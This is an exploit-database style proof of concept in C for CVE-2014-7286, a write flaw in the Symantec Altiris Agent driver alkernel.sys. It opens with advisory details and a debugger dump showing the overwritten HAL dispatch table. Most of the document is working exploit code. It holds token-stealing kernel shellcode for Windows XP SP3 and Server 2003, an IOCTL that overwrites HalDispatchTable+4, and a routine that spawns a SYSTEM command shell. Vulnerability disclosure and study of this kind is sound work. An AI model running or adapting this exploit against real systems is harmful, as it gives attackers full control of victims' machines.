Exploit Title - Symantec Altiris Agent Arbitrary Write Privilege Escalation
Date - 01st February 2015
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.symantec.com
Tested Version - 6.9 (Build 648)
Driver Version - No version set - AlKernel.sys
Tested on OS - 32bit Windows XP SP3 and Windows Server 2003 SP2
OSVDB - http://www.osvdb.org/show/osvdb/116082
CVE ID - CVE-2014-7286
Vendor fix url - http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141219_00
Fixed version - To remove driver
Fixed driver ver - n/a
Note
----
Overwritten HAL dispatch table after exploit
kd> dps nt!HalDispatchTable l c
8054ccb8 00000003
8054ccbc 746f6353
8054ccc0 6f725774
8054ccc4 68546574
8054ccc8 00217369
8054cccc 8050ac4d nt!HalExamineMBR
8054ccd0 805c6f89 nt!IoAssignDriveLetters
8054ccd4 805c4ae5 nt!IoReadPartitionTable
8054ccd8 80613f7b nt!IoSetPartitionInformation
8054ccdc 806141ef nt!IoWritePartitionTable
8054cce0 8052d157 nt!CcHasInactiveViews
8054cce4 804e42d1 nt!ObpTraceDepth+0x19
4 pointers are overwritten with the hardcoded string "ScottWroteThis!" set in the driver.
The driver looks like has one main task is to retrieve configuration information about
the hardware using the HalGetBusData function. If it cannot retrieve configuration
information it sends the "ScottWroteThis!" string to the output buffer.
Also to point out the driver is not signed, no file version set, no product version set,
no product name set.
Question about the string ""ScottWroteThis!" was posted online in 2006
http://mygreenpaste.blogspot.co.uk/2006/06/beam-me-up-scotty.html
*/
#include <stdio.h>
#include <windows.h>
#define INBUFSIZE 16
#define BUFSIZE 4096
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
DWORD ProfileSource,
PULONG Interval);
typedef void (*FUNCTPTR)();
// Windows XP SP3
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct
// Windows Server 2003
#define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct
#define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct
#define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct
BYTE token_steal_xp[] =
{
0x52, // push edx Save edx on the stack
0x53, // push ebx Save ebx on the stack
0x33,0xc0, // xor eax, eax eax = 0
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
0x5b, // pop ebx Restores ebx
0x5a, // pop edx Restores edx
0xc2,0x08 // ret 8 Away from the kernel
};
BYTE token_steal_w2k3[] =
{
0x52, // push edx Save edx on the stack
0x53, // push ebx Save ebx on the stack
0x33,0xc0, // xor eax, eax eax = 0
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD
0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS
0x8b,0xc8, // mov ecx, eax
0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN
0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks
0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process)
0x75,0xe8, // jne ----
0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX
0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS
0x5b, // pop ebx Restores ebx
0x5a, // pop edx Restores edx
0xc2,0x08 // ret 8 Away from the kernel
};
DWORD HalDispatchTableAddress()
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD HalDispatchTable;
CHAR kFullName[256];
PVOID kBase = NULL;
LPSTR kName;
HMODULE Kernel;
FUNCTPTR Hal;
ULONG len;
NTSTATUS status;
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
if (!status)
{
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
return -1;
}
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if(pModuleInfo == NULL)
{
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
return -1;
}
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
memset(kFullName, 0x00, sizeof(kFullName));
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
kBase = pModuleInfo->Module[0].Base;
printf("[i] Kernel base name %s\n", kFullName);
kName = strrchr(kFullName, '\\');
Kernel = LoadLibraryA(++kName);
if(Kernel == NULL)
{
printf("[-] Failed to load kernel base\n\n");
return -1;
}
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");
if(Hal == NULL)
{
printf("[-] Failed to find HalDispatchTable\n\n");
return -1;
}
printf("[i] HalDispatchTable address 0x%08x\n", Hal);
printf("[i] Kernel handle 0x%08x\n", Kernel);
printf("[i] Kernel base address 0x%08x\n", kBase);
HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);
if(!HalDispatchTable)
{
printf("[-] Failed to calculate HalDispatchTable\n\n");
return -1;
}
return HalDispatchTable;
}
int GetWindowsVersion()
{
int v = 0;
DWORD version = 0, minVersion = 0, majVersion = 0;
version = GetVersion();
minVersion = (DWORD)(HIBYTE(LOWORD(version)));
majVersion = (DWORD)(LOBYTE(LOWORD(version)));
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;
return v;
}
void spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
return;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main(int argc, char *argv[])
{
_NtQueryIntervalProfile NtQueryIntervalProfile;
BYTE *inbuffer;
BYTE *shell;
LPVOID addrtoshell = (LPVOID)0x746f6353;
HANDLE hDevice;
DWORD dwRetBytes = 0;
DWORD HalDispatchTableTarget;
ULONG time = 0;
unsigned char devhandle[MAX_PATH];
printf("-------------------------------------------------------------------------------\n");
printf(" Symantec Altiris Agent Arbitrary (alkernel.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n");
printf("-------------------------------------------------------------------------------\n\n");
if (GetWindowsVersion() == 1)
{
printf("[i] Running Windows XP\n");
}
if (GetWindowsVersion() == 3)
{
printf("[i] Running Windows Server 2003\n");
}
if (GetWindowsVersion() == 0)
{
printf("[i] Exploit not supported on this OS\n\n");
return -1;
}
sprintf(devhandle, "\\\\.\\%s", "alkernel");
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile)
{
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
return -1;
}
inbuffer = VirtualAlloc(NULL, INBUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(inbuffer, 0x41, INBUFSIZE);
shell = VirtualAlloc(addrtoshell, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(shell == NULL)
{
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
return -1;
}
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", shell);
memset(addrtoshell, 0x90, BUFSIZE);
if (GetWindowsVersion() == 1)
{
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
}
if (GetWindowsVersion() == 3)
{
memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3));
}
printf("[+] Shellcode located at address 0x%.8x\n", addrtoshell);
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
return -1;
}
else
{
printf("[+] Open %s device successful\n", devhandle);
}
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
printf("[~] Press any key to send Exploit . . .\n");
getch();
DeviceIoControl(hDevice, 0x00222000, inbuffer, INBUFSIZE, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);
printf("[+] Buffer sent\n");
CloseHandle(hDevice);
printf("[+] Spawning SYSTEM Shell\n");
NtQueryIntervalProfile(2, &time);
spawnShell();
return 0;
}
